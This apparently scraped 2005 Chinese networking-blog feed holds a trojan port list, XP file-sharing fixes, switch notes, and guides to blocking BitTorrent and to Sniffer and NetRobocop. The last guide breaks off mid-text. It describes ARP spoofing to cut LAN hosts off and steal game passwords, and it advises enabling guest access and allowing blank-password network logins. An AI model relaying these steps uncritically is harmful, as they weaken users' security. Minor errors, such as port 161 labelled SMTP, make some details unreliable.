<P>端口：6883 <BR>服务：[NULL] <BR>说明：木马DeltaSource开放此端口。 </P>
<P>端口：6969 <BR>服务：[NULL] <BR>说明：木马Gatecrasher、Priority开放此端口。 </P>
<P>端口：6970 <BR>服务：RealAudio <BR>说明：RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP-7070端口外向控制连接设置的。 </P>
<P>端口：7000 <BR>服务：[NULL] <BR>说明：木马Remote Grab开放此端口。 </P>
<P>端口：7300、7301、7306、7307、7308 <BR>服务：[NULL] <BR>说明：木马NetMonitor开放此端口。另外NetSpy1.0也开放7306端口。 </P>
<P>端口：7323 <BR>服务：[NULL] <BR>说明：Sygate服务器端。 </P>
<P>端口：7626 <BR>服务：[NULL] <BR>说明：木马Giscier开放此端口。 </P>
<P>端口：7789 <BR>服务：[NULL] <BR>说明：木马ICKiller开放此端口。 </P>
<P>端口：8000 <BR>服务：OICQ <BR>说明：腾讯QQ服务器端开放此端口。 </P>
<P>端口：8010 <BR>服务：Wingate <BR>说明：Wingate代理开放此端口。 </P>
<P>端口：8080 <BR>服务：代理端口 <BR>说明：WWW代理开放此端口。 </P>
<P>端口：9400、9401、9402 <BR>服务：[NULL] <BR>说明：木马Incommand 1.0开放此端口。 </P>
<P>端口：9872、9873、9874、9875、10067、10167 <BR>服务：[NULL] <BR>说明：木马Portal of Doom开放此端口。 </P>
<P>端口：9989 <BR>服务：[NULL] <BR>说明：木马iNi-Killer开放此端口。 </P>
<P>端口：11000 <BR>服务：[NULL] <BR>说明：木马SennaSpy开放此端口。 </P>
<P>端口：11223 <BR>服务：[NULL] <BR>说明：木马Progenic trojan开放此端口。 </P>
<P>端口：12076、61466 <BR>服务：[NULL] <BR>说明：木马Telecommando开放此端口。 </P>
<P>端口：12223 <BR>服务：[NULL] <BR>说明：木马Hack'99 KeyLogger开放此端口。 </P>
<P>端口：12345、12346 <BR>服务：[NULL] <BR>说明：木马NetBus1.60/1.70、GabanBus开放此端口。 </P>
<P>端口：12361 <BR>服务：[NULL] <BR>说明：木马Whack-a-mole开放此端口。 </P>
<P>端口：13223 <BR>服务：PowWow <BR>说明：PowWow是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有攻击性。它会驻扎在这个TCP端口等回应。造成类似心跳间隔的连接请求。如果一个拨号用户从另一个聊天者手中继承了IP地址就会发生好象有很多不同的人在测试这个端口的情况。这一协议使用OPNG作为其连接请求的前4个字节。 </P>
<P>端口：16969 <BR>服务：[NULL] <BR>说明：木马Priority开放此端口。 </P>
<P>端口：17027 <BR>服务：Conducent <BR>说明：这是一个外向连接。这是由于公司内部有人安装了带有Conducent"adbot"的共享软件。Conducent"adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。 </P>
<P>端口：19191 <BR>服务：[NULL] <BR>说明：木马蓝色火焰开放此端口。 </P>
<P>端口：20000、20001 <BR>服务：[NULL] <BR>说明：木马Millennium开放此端口。 </P>
<P>端口：20034 <BR>服务：[NULL] <BR>说明：木马NetBus Pro开放此端口。 </P>
<P>端口：21554 <BR>服务：[NULL] <BR>说明：木马GirlFriend开放此端口。 </P>
<P>端口：22222 <BR>服务：[NULL] <BR>说明：木马Prosiak开放此端口。 </P>
<P>端口：23456 <BR>服务：[NULL] <BR>说明：木马Evil FTP、Ugly FTP开放此端口。 </P>
<P>端口：26274、47262 <BR>服务：[NULL] <BR>说明：木马Delta开放此端口。 </P>
<P>端口：27374 <BR>服务：[NULL] <BR>说明：木马Subseven 2.1开放此端口。 </P>
<P>端口：30100 <BR>服务：[NULL] <BR>说明：木马NetSphere开放此端口。 </P>
<P>端口：30303 <BR>服务：[NULL] <BR>说明：木马Socket23开放此端口。 </P>
<P>端口：30999 <BR>服务：[NULL] <BR>说明：木马Kuang开放此端口。 </P>
<P>端口：31337、31338 <BR>服务：[NULL] <BR>说明：木马BO(Back Orifice)开放此端口。另外木马DeepBO也开放31338端口。 </P>
<P>端口：31339 <BR>服务：[NULL] <BR>说明：木马NetSpy DK开放此端口。 </P>
<P>端口：31666 <BR>服务：[NULL] <BR>说明：木马BOWhack开放此端口。 </P>
<P>端口：33333 <BR>服务：[NULL] <BR>说明：木马Prosiak开放此端口。 </P>
<P>端口：34324 <BR>服务：[NULL] <BR>说明：木马Tiny Telnet Server、BigGluck、TN开放此端口。 </P>
<P>端口：40412 <BR>服务：[NULL] <BR>说明：木马The Spy开放此端口。 </P>
<P>端口：40421、40422、40423、40426、 <BR>服务：[NULL] <BR>说明：木马Masters Paradise开放此端口。 </P>
<P>端口：43210、54321 <BR>服务：[NULL] <BR>说明：木马SchoolBus 1.0/2.0开放此端口。 </P>
<P>端口：44445 <BR>服务：[NULL] <BR>说明：木马Happypig开放此端口。 </P>
<P>端口：50766 <BR>服务：[NULL] <BR>说明：木马Fore开放此端口。 </P>
<P>端口：53001 <BR>服务：[NULL] <BR>说明：木马Remote Windows Shutdown开放此端口。 </P>
<P>端口：65000 <BR>服务：[NULL] <BR>说明：木马Devil 1.03开放此端口。 </P>
<P><BR>端口：88 <BR>说明：Kerberos krb5。另外TCP的88端口也是这个用途。 </P>
<P>端口：137 <BR>说明：SQL Named Pipes encryption over other protocols name lookup(其他协议名称查找上的SQL命名管道加密技术)和SQL RPC encryption over other protocols name lookup(其他协议名称查找上的SQL RPC加密技术)和Wins NetBT name service(WINS NetBT名称服务)和Wins Proxy都用这个端口。 </P>
<P>端口：161 <BR>说明：Simple Network Management Protocol(SMTP)（简单网络管理协议）。 </P>
<P>端口：162 <BR>说明：SNMP Trap（SNMP陷阱） </P>
<P>端口：445 <BR>说明：Common Internet File System(CIFS)（公共Internet文件系统） </P>
<P>端口：464 <BR>说明：Kerberos kpasswd(v5)。另外TCP的464端口也是这个用途。 </P>
<P>端口：500 <BR>说明：Internet Key Exchange(IKE)（Internet密钥交换） </P>
<P>端口：1645、1812 <BR>说明：Remot Authentication Dial-In User Service(RADIUS)authentication(Routing and Remote Access)(远程认证拨号用户服务) </P>
<P>端口：1646、1813 <BR>说明：RADIUS accounting(Routing and Remote Access)(RADIUS记帐（路由和远程访问）) </P>
<P>端口：1701 <BR>说明：Layer Two Tunneling Protocol(L2TP)(第2层隧道协议) </P>
<P>端口：1801、3527 <BR>说明：Microsoft Message Queue Server(Microsoft消息队列服务器)。还有TCP的135、1801、2101、2103、2105也是同样的用途。 </P>
<P>端口：2504 <BR>说明：Network Load Balancing(网络平衡负荷)<BR></P><img src ="http://www.cnitblog.com/system-net/aggbug/5261.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-12-09 20:30 <a href="http://www.cnitblog.com/system-net/articles/5261.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解决局域网互访的问题</title><link>http://www.cnitblog.com/system-net/articles/4898.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Fri, 25 Nov 2005 08:23:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/4898.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/4898.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/4898.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/4898.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/4898.html</trackback:ping><description><![CDATA[<P>1.检查guest账户是否开启 </P>
<P>　　XP默认情况下不开启guest账户，因此些为了其他人能浏览你的计算机，请启用guest账户。同时，为了安全请为guest设置密码或相应的权限。当然，也可以为每一台机器设置一个用户名和密码以便计算机之间的互相访问。 </P>
<P>　　2.检查是否拒绝Guest用户从网络访问本机 </P>
<P>　　当你开启了guest账户却还是根本不能访问时，请检查设置是否为拒绝guest从网络访问计算机，因为XP默认是不允许guest从网络登录的，所以即使开了guest也一样不能访问。在开启了系统Guest用户的情况下解除对Guest账号的限制，点击“开始→运行”，在“运行”对话框中输入“GPEDIT.MSC”，打开组策略编辑器，依次选择“计算机配置→Windows设置→安全设置→本地策略→用户权利指派”，双击“拒绝从网络访问这台计算机”策略，删除里面的“GUEST”账号。这样其他用户就能够用Guest账号通过网络访问使用Windows XP系统的计算机了。 </P>
<P>　　3.改网络访问模式 </P>
<P>　　XP默认是把从网络登录的所有用户都按来宾账户处理的，因此即使管理员从网络登录也只具有来宾的权限，若遇到不能访问的情况，请尝试更改网络的访问模式。打开组策略编辑器，依次选择“计算机配置→Windows设置→安全设置→本地策略→安全选项”，双击“网络访问：本地账号的共享和安全模式”策略，将默认设置“仅来宾—本地用户以来宾身份验证”，更改为“经典：本地用户以自己的身份验证”。 </P>
<P>　　这样即使不开启guest，你也可以通过输入本地的账户和密码来登录你要访问的计算机，本地的账户和密码为你要访问的计算机内已经的账户和密码。若访问网络时需要账户和密码，可以通过输入你要访问的计算机内已经的账户和密码来登录。 </P>
<P>　　若不对访问模式进行更改，也许你连输入用户名和密码都办不到，<A href="file://\\computername\guest">\\computername\guest</A>为灰色不可用。即使密码为空，在不开启guest的情况下，你也不可能点确定登录。改成经典模式，最低限度可以达到像2000里没有开启guest账户情况时一样，可以输入用户名和密码来登录你要进入的计算机。也许你还会遇到一种特殊的情况，请看接下来的。 </P>
<P>　　4.一个值得注意的问题 </P>
<P>　　我们可能还会遇到另外一个问题，即当用户的口令为空时，即使你做了上述的所有的更改还是不能进行登录，访问还是会被拒绝。这是因为，在系统“安全选项”中有“账户：使用空白密码的本地账户只允许进行控制台登录”策略默认是启用的，根据Windows XP安全策略中拒绝优先的原则，密码为空的用户通过网络访问使用Windows XP的计算机时便会被禁止。我们只要将这个策略停用即可解决问题。在安全选项中，找到“使用空白密码的本地账户只允许进行控制台登录”项，停用就可以，否则即使开了guest并改成经典模式还是不能登录。经过以上的更改基本就可以访问了，你可以尝试选择一种适合你的方法。下面在再补充点其它可能会遇到的问题。 </P>
<P>　　5.网络邻居不能看到计算机 </P>
<P>　　可能经常不能在网络邻居中看到你要访问的计算机，除非你知道计算机的名字或者IP地址，通过搜索或者直接输入<A href="file://\\computername">\\computername</A>或<A href="file://\\IP">\\IP</A>。请按下面的操作解决：启动“计算机浏览器”服务。“计算机浏览器服务”在网络上维护一个计算机更新列表，并将此列表提供给指定为浏览器的计算机。如果停止了此服务，则既不更新也不维护该列表。 </P>
<P>　　137/UDP--NetBIOS名称服务器，网络基本输入/输出系统(NetBIOS)名称服务器(NBNS)协议是TCP/IP上的NetBIOS(NetBT)协议族的一部分，它在基于NetBIOS名称访问的网络上提供主机名和地址映射方法。 </P>
<P>　　138/UDP--NetBIOS数据报，NetBIOS数据报是TCP/IP上的NetBIOS(NetBT)协议族的一部分，它用于网络登录和浏览。 </P>
<P>　　139/TCP--NetBIOS会话服务，NetBIOS会话服务是TCP/IP上的NetBIOS(NetBT)协议族的一部分，它用于服务器消息块(SMB)、文件共享和打印。请设置防火墙开启相应的端口。一般只要在防火墙中允许文件夹和打印机共享服务就可以了。 </P>
<P>　　6.关于共享模式 </P>
<P>　　对共享XP默认只给予来宾权限或选择允许用户更改“我的文件”。Windows 2000操作系统中用户在设置文件夹的共享属性时操作非常简便，只需用鼠标右击该文件夹并选择属性，就可以看到共享设置标签。而在Windows XP系统设置文件夹共享时则比较复杂，用户无法通过上述操作看到共享设置标签。具体的修改方法如下：打开“我的电脑”中的“工具”，选择“文件夹属性”，调出“查看”标签，在“高级设置”部分滚动至最底部将“简单文件共享(推荐)”前面的选择取消，另外如果选项栏里还有“Mickey Mouse”项也将其选择取消。这样修改后用户就可以象使用Windows 2000一样对文件夹属性进行方便修改了。 </P>
<P>　　7.关于用网络邻居访问不响应或者反应慢的问题 </P>
<P>　　在WinXP和Win2000中浏览网上邻居时系统默认会延迟30秒，Windows将使用这段时间去搜寻远程计算机是否有指定的计划任务（甚至有可能到Internet中搜寻）。如果搜寻时网络时没有反应便会陷入无限制的等待，那么10多分钟的延迟甚至报错就不足为奇了。下面是具体的解决方法。 </P>
<P>　　A.关掉WinXP的计划任务服务（Task Scheduler） </P>
<P>　　可以到“控制面板/管理工具/服务”中打开“Task Scheduler”的属性对话框，单击“停止”按钮停止该项服务，再将启动类型设为“手动”，这样下次启动时便不</P><img src ="http://www.cnitblog.com/system-net/aggbug/4898.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-11-25 16:23 <a href="http://www.cnitblog.com/system-net/articles/4898.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>交换机的堆叠与级联的区别</title><link>http://www.cnitblog.com/system-net/articles/3822.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Thu, 03 Nov 2005 01:12:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/3822.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/3822.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/3822.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/3822.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/3822.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 级联是通过集线器的某个端口与其它集线器相连的，如使用一个集线器UPLINK口到另一个的普通端口；而堆叠是通过集线器的背板连接起来的，它是一种建立在芯片级上的连接，如2个24口交换机堆叠起来的效果就像是一个48口的交换机，优点是不会产生瓶颈的问题。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;堆叠(Stack)和级联(Uplink)是多台交换机或集线器连接在一起的两种方式。它们的主要目的是增加端口密度。但它们的实现方法是不同的。简单地说，级联可通过一根双绞线在任何网络设备厂家的交换机之间，集线器之间，或交换机与集线器之间完成。而堆叠只有在自己厂家的设备之间，且此设备必须具有堆叠功能才可实现。级联只需单做一根双绞线(或其他媒介)，堆叠需要专用的堆叠模块和堆叠线缆，而这些设备可能需要单独购买。交换机的级联在理论上是没有级联个数限制的(注意：集线器级联有个数限制，且10M和100M的要求不同)，而堆叠各个厂家的设备会标明最大堆叠个数。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;从上面可看出级联相对容易，但堆叠这种技术有级联不可达到的优势。首先，多台交换机堆叠在一起，从逻辑上来说，它们属于同一个设备。这样，如果你想对这几台交换机进行设置，只要连接到任何一台设备上，就可看到堆叠中的其他交换机。而级联的设备逻辑上是独立的，如果想要网管这些设备，必须依次连接到每个设备。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;其次，多个设备级联会产生级联瓶颈。例如，两个百兆交换机通过一根双绞线级联，则它们的级联带宽是百兆。这样不同交换机之间的计算机要通讯，都只能通过这百兆带宽。而两个交换机通过堆叠连接在一起，堆叠线缆将能提供高于1G的背板带宽，极大地减低了瓶颈。现在交换机有一种 新的技术——Port Trunking，通过这种技术，可使用多根双绞线在两个交换机之间进行级联，这样可成倍地增加级联带宽。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;级联还有一个堆叠达不到的目的，是增加连接距离。比如，一台计算机离交换机较远，超过了单根双绞线的最长距离100米，则可在中间再放置一台交换机，使计算机与此交换机相连。堆叠线缆最长也只有几米，所以堆叠时应予考虑。 　堆叠和级联各有优点，在实际的方案设计中经常同时出现，可灵活应用。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;级联是通过集线器的某个端口与其它集线器相连的，而堆叠是通过集线器的背板连接起来的。虽然级联和堆叠都可以实现端口数量的扩充，但是级联后每台集线器或交换机在逻辑上仍是多个被网管的设备，而堆叠后的数台集线器或交换机在逻辑上是一个被网管的设备。<img src ="http://www.cnitblog.com/system-net/aggbug/3822.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2005-11-03 09:12 <a href="http://www.cnitblog.com/system-net/articles/3822.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>局域网内全面禁用BT方法</title><link>http://www.cnitblog.com/system-net/articles/3793.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Wed, 02 Nov 2005 03:09:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/3793.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/3793.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/3793.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/3793.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/3793.html</trackback:ping><description><![CDATA[1针对通过一台服务器上网　<BR>BT下载以其独特的优势受到广大用户的喜爱，它在下载的同时还为其他用户提供上传，因此下载的人越多，它的速度越快。不过，麻烦也随之而来，如果多个用户同时使用BT进行下载，会占用大量网络带宽，严重影响其他用户的正常工作。因此，我们可以严格限制用户的BT下载流量或完全禁止BT下载。 <BR><BR>　　限制带宽 <BR><BR>　　BT之所以会危害到局域网，是因为它占用了大量网络带宽。因此，限制每个用户使用的网络带宽，可以明显缓解BT对网络的危害。笔者以大家常用的代理软件CCProxy为例，对用户带宽进行限制。 <BR><BR>　　在服务器端的CCProxy主窗口中，点击“账号”按钮，弹出账号管理对话框，在属性栏的“允许范围”中选择“允许部分”，接着点击“新建”按钮，弹出账号对话框。接下来，限制IP地址为“192.168.0.12”的客户机的带宽。 <BR><BR>　　在“IP地址/IP段”中输入该IP地址，然后设置“最大连接数”，默认为“-1”，就是不进行任何限制，在此输入“5”，这样客户机只能和代理服务建立5个连接，也就可以限制BT下载时使用的线程数。接着在“带宽(字节/秒)”栏中为客户设置最大的网络带宽，如限制为100KB/s，则可输入“102400”，最后点击“确定”按钮。这样该客户机只能使用100KB/s的带宽，而且它和代理服务器最多只能建立5个连接。其它客户机的限制方法与此相同，不再赘述。 <BR>　　<BR>彻底封闭BT下载 <BR><BR>　　解决BT对局域网的危害，最彻底的方法是不允许进行BT下载，BT一般使用TCP的6881～6889的端口。由于个人网络防火墙只能封闭本机的BT端口，对局域网用户无效，笔者就采用ISA2004封闭BT端口。 <BR><BR>　　在ISA控制台窗口中，右键点击“防火墙策略”，选择“新建→访问规则”，弹出访问规则向导对话框，在“访问规则名称”栏中输入“禁用BT”，点击“下一步”按钮后，选择“拒绝”选项，接着在“协议”对话框中选择“所选的协议”。 <BR><BR>　　点击“添加”按钮，在“添加协议”对话框中点击“新建→协议”，弹出协议定义向导对话框，在名称栏中输入“BT”，点击“下一步”按钮，进入“首要连接信息”对话框。点击“新建”，弹出“新建/编辑协议连接”对话框,在“协议类型”中选择“TCP”，选择方向为“入站”，端口范围为“从6881到6889”，然后点击“确定”按钮，接下来一路点击“下一步”按钮，即可完成BT协议的定义。 <BR>　　接着在添加协议对话框中展开“用户定义”，并添加BT协议,点击“下一步”按钮后，指定访问规则源。点击“添加”按钮，弹出“添加网络实体”对话框，展开网络目录，选择“内部”。点击“添加”按钮，接着点击“下一步”按钮，设置访问规则目标，在网络实体对话框中展开网络目录，添加“外部”，然后进入“用户集”对话框，选择“所有用户”并点击“完成”按钮。 <BR><BR>　　最后在防火墙策略窗口中选中这一规则，并点击上方的“应用”按钮.这样局域网内的用户就不能进行BT下载了。但该方法也有不足之处，如果BT软件使用的不是6881～6889的端口，该规则就会失效。由于BT端口是可改变的，所以一旦BT下载端口发生改变，你就得立即查到新的端口，并将它封掉。 <BR>----------------------------------------------------------------------------------------------------------<BR>2.:针对WAN-&gt;路由-&gt;交换机-&gt;pc上网的<BR>因为上网不是通过一台服务器而实现,所以不能用上面的方法,所以我们要<BR>1.确定数据流量过大的机器.<BR>&nbsp;&nbsp;我使用的是的Sniffer 4.70汉化版,具体使用方法:<BR>&nbsp;&nbsp;一、Sniffer软件的安装 　　 <BR><BR>　　在网上下载Sniffer软件后，直接运行安装程序，系统会提示输入个人信息和软件注册码，安装结束后，重新启动，之后再安装Sniffer汉化补丁。运行Sniffer程序后，系统会自动搜索机器中的网络适配器，点击确定进入Sniffer主界面。 　　 <BR><BR>　　二、Sniffer软件的使用 　　 <BR><BR>　　打开Sniffer软件后，会出现主界面，显示一些机器列表和Sniffer软件目前的运行情况，上面是软件的菜单，下面有一些快捷工具菜单，左侧还有一排快捷菜单按钮。由于使用的是汉化版软件，因此部分词语汉化不是太准确。 <BR><BR>　　1、获取网络中的机器列表 <BR><BR>　　Sniffer软件运行后，首先要搜索网络中的机器。在“工具”菜单中找到“地址簿”选项并运行，在“地址簿”中的左侧工具菜单中，可以找到一个“放大镜”的图标，这是“自动搜索”的按钮。运行“自动搜索”功能后，在IP地址段中输入网络的开始IP地址和结束地址，然后系统会自动搜索。搜索完成后，会出现一个如图1的机器列表。 　　 <BR><BR>　　2、保存机器列表 　　 <BR><BR>　　Sniffer搜索网络中所有的机器列表后，可以在“数据库”菜单中选择“保存地址簿”选项，将当前的机器列表保存，以备日后使用。由于Sniffer的地址簿保存了网络中客户机的IP地址、网卡的MAC地址等信息，如果网络中的客户机更换了网卡，则必须重新搜索机器列表并重新保存地址簿。如果网络中没有新机器增加，就无需更新此地址簿。 　　 <BR><BR>　　三、Sniffer菜单及功能简介 　　 <BR><BR>　　Sniffer进入时，需要设置当前机器的网卡信息。进入Sniffer软件后，会出现如图2的界面，可以看到Sniffer软件的中文菜单，下面是一些常用的工具按钮。在日常的网络维护中，使用这些工具按钮就可以解决问题了。 　　 <BR><BR>　　1、主机列表按钮：保存机器列表后，点击此钮，Sniffer会显示网络中所有机器的信息，其中，Hw地址一栏是网络中的客户机信息。网络中的客户机一般都有惟一的名字，因此在Hw地址栏中，可以看到客户机的名字。对于安装Sniffer的机器，在Hw地址栏中用“本地”来标识；对于网络中的交换机、路由器等网络设备，Sniffer只能显示这些网络设备的MAC地址。 　　 <BR><BR>　　入埠数据包和出埠数据包，指的是该客户机发送和接收的数据包数量，后面还有客户机发送和接收的字节大小。可以据此查看网络中的数据流量大小。 　　 <BR><BR>　　2、矩阵按钮：矩阵功能通过圆形图例说明客户机的数据走向，可以看出与客户机有数据交换的机器。使用此功能时，先选择客户机，然后点击此钮就可以了。 　　 <BR><BR>　　3、请求响应时间按钮：请求响应时间功能，可以查看客户机访问网站的详细情况。当客户机访问某站点时，可以通过此功能查看从客户机发出请求到服务器响应的时间等信息。 　　 <BR><BR>　　4、警报日志按钮：当Sniffer监控到网络的不正常情况时，会自动记录到警报日志中。所以打开Sniffer软件后，首先要查看一下警报日志，看网络运行是否正常。 　　 <BR><BR>　　四、Sniffer在网络维护中的应用,解决网络传输质量问题 　　 <BR><BR>　　Sniffer在网吧网络中的应用，主要是利用其流量分析和查看功能，解决网吧中出现的网络传输质量问题。 　　 <BR><BR>　　1、广播风暴：广播风暴是网吧网络最常见的一个网络故障。网络广播风暴的产生，一般是由于客户机被病毒攻击、网络设备损坏等故障引起的。可以使用Sniffer中的主机列表功能，查看网络中哪些机器的流量最大，合矩阵就可以看出哪台机器数据流量异常。从而，可以在最短的时间内，判断网络的具体故障点。 　　 <BR><BR>　　2、网络攻击：随着网络的不断发展，黑客技术吸引了不少网络爱好者。于是，一些初级黑客们，开始拿网吧来做实验，DDoS攻击成为一些黑客炫耀自己技术的一种手段，由于网吧本身的数据流量比较大，加上外部DDoS攻击，网吧的网络可能会出现短时间的中断现象。对于类似的攻击，使用Sniffer软件，可以有效判断网络是受广播风暴影响，还是来自外部的攻击。 　　 <BR><BR>　　3、检测网络硬件故障：在网络中工作的硬件设备，只要有所损坏，数据流量就会异常，使用Sniffer可以轻松判断出物理损坏的网络硬件设备。 <BR>-----------------------<BR>2.切断使用BT的电脑的网络<BR><BR>切断局域网内电脑的网络连接有很多软件可以实现,网络剪刀手(netcut),网络执法官等<BR>现在我说一下网络执法官:<BR><BR>　　网络执法官是一款网管软件，可用于管理局域网，能禁止局域网任意机器连接网络。对网管来说，这个功能很实用，可是，现在这一优秀的管理工具软件，却成为许多捣乱分子的“凶器”，他们经常利用这一功能禁止一些机器正常上网。不过，只要充分了解网络执法官的具体功能，就可以轻松对付这些恶意的捣乱了。 　　 <BR><BR>　　一、网络执法官简介 　　 <BR><BR>　　在局域网中任意一台机器上运行网络执法官的主程序NetRobocop.exe ，都可以穿透防火墙、实时监控、记录整个局域网用户上线情况，限制各用户上线时所用的IP、时段，并可将非法用户踢下局域网。该软件适用范围为局域网内部，不能对网关或路由器外的机器进行监视或管理，适合局域网管理员使用。 　　 <BR><BR>　　在网络执法官中，如想限制某台机器上网，只要点击“网卡”菜单中的“权限”，选择指定的网卡号或在用户列表中点击该网卡所在行，从右键菜单中选择“权限”即可限制该用户的权限。对于未登记网卡，可以这样限定其上线：设定好所有已知用户（登记），将网卡的默认权限改为禁止上线即可阻止所有未知的网卡上线。其原理是通过ARP欺骗发给被攻击的电脑一个假的网关IP地址对应的MAC，使其找不到网关真正的MAC地址，这样就可以禁止其上网。 　　 <BR><BR>　　二、网络执法官的功能 <BR><BR>　　1、查看机器流量：对于在网络执法官监控范围内的客户机，在主界面中，点一下客户机的网卡，然后查看“本机状态”就可以看到这台机器的流量了。网络执法官与Sniffer软件一样，都可以查看网络中客户机的数据流量，但网络执法官不如Sniffer的流量显示方便直观。 　　 <BR><BR>　　2、智能监控：运行网络执法官软件后，可以通过“网卡”菜单中的“权限”限制一部分机器上网，这个功能很容易被捣乱分子利用来搞破坏。机器上安装并运行网络执法官软件后，机器图标在网络执法官软件中是红色的，其他正常运行的机器是淡绿色。红色代表机器处于网络混杂模式，利用这点可以轻松找到运行网络执法官软件的机器，从而就可以找到搞破坏者所在的机器了。但是，在手工监控时一定要注意，我们本机也是安装了网络执法官软件的，机器也处于网络混杂模式，千万不要把自己清除出去了。 　　 <BR><BR>　　如果发现网络中有捣乱者，网络执法官的监控功能会自动发出警报的。可以在网络执法官“设置”菜单中找到“安全”选项，设置管理机器的IP，当网络中有破坏者捣乱时，机器就会自动发出声音提示。这一智能监控功能，大大方便了对一些利用网络执法官捣乱者的监控。 <BR>　　三、典型应用,封杀“传奇杀手木马程序” 　　 <BR><BR>　　传奇杀手病毒，是专门为了盗窃传奇帐号和密码而开发的一种木马软件，通过对局域网进行ARP欺骗，虚拟网吧网关地址以收集局域网中传奇游戏登陆信息并进行分析，从而得到用户信息的破坏性木马软件。 　　 <BR><BR>　　传奇杀手木马程序的出现，使很多网吧用户受到了攻击，有一些用户在安装有传奇多面手木马程序的网吧运行传奇程序，结果帐号和密码被盗，网吧老板为此不得不赔偿用户的经济损失。盛大密保虽然可以解决帐号和密码被盗的难题，但一些用户不愿意增加成本来保护自己帐号和密码的安全。因此，传奇杀手木马程序成为令网吧维护人员头疼的一大技术难题。 　　 <BR><BR>　　想要监控传奇杀手木马程序，必须先搞清楚它的工作流程。首先，它将安装了传奇杀手机器的MAC通过ARP欺骗广播至局域网，使局域网中的工作站误认为本机是网络的网关。该流程会造成局域网与Internet连接中断，使游戏与服务器断开连接。当用户重新启动游戏并进行帐号登陆时，帐户信息并不会直接通过网关传递到代理服务器，而是把信息传送到正在进行ARP欺骗的传奇杀手软件中。传奇杀手自身有对传奇帐号的解密手段，从而可以轻松获得该帐户的真实用户名及密码，达到窃取玩家帐号的目的。由此可以看出，使用网络执法官并配合ARP命令，对传奇木马有一定的预防作用。 　　 <BR><BR>　　在没有网络执法官的情况下，可以使用ARP命令检查网络中是否有人使用传奇杀手木马程序。根据传奇杀手木马的原理，传奇杀手是制造虚假的网关IP地址和MAC地址，因此在客户机上使用ARP -a命令查看，如果有重复的MAC地址，则可以断定网络中有人使用传奇杀手木马程序。要想查到在哪一台机器上安装了传奇杀手木马，可以使用Ipbook类似的工具，查看当前网络中所有机器的MAC地址，并加以对比。由于运行传奇杀手木马程序的机器IP地址被更改，只能通过查询机器的MAC地址找到该机器，找到该机器后，将机器重新启动，再查找传奇杀手程序并删除就可以了。 　　 <BR><BR>　　如果用网络执法官就容易多了，其预防封杀传奇杀手方案如下： 　　 <BR><BR>　　1、传奇杀手与网络执法官的工作原理比较 　　 <BR><BR>　　细心的网管不难发现，网络执法官的工作原理与传奇杀手的工作原理相比，在某些方面是极为相似的。网络执法官在对网络中的机器进行管理时，运行网络执法的机器，通过ARP欺骗发给被管理的电脑一个假的网关IP地址及对应的MAC，使其找不到网关真正的MAC地址，这样就可以禁止机器上网。对于传奇杀手木马程序，当此程序工作时，也是通过安装此程序的机器发ARP欺骗给网络中的机器，ARP的欺骗信息也是一个虚假的网关IP及对应的MAC地址。 　　 <BR><BR>　　由此可以发现，网络执法官与传奇杀手木马程序的工作原理是基本相同的。如果在同一个网络中，分别在两台机器上安装了网络执法官程序，由于网络执法官的工作在混杂模式下，同时启动后，通过任何一台机器的网络执法官程序都可以看到，网络中有两台机器处于混杂模式下工作。这样，可以通过网络执法官程序看到另外一台安装有网络执法官程序机器的MAC地址，从而轻松找到另外一台安装有网络执法官程序的机器。 　　 <BR><BR>　　2、彻底封杀传奇杀手木马程序 　　 <BR><BR>　　根据传奇杀手木马程序工作原理，传奇杀手也是向网络广播虚假的网关地址及MAC地址消息，这是否意味着，当在有传奇杀手程序工作的网络中安装网络执法官程序后，可以看到有两台机器也是处在网络混杂模式下？经过小片的实验证实，传奇杀手木马程序与网络执法官程序的工作原理是一致的。只要网络中有传奇杀手程序在运行，就可以通过网络执法官程序来监控。 　　 <BR><BR>　　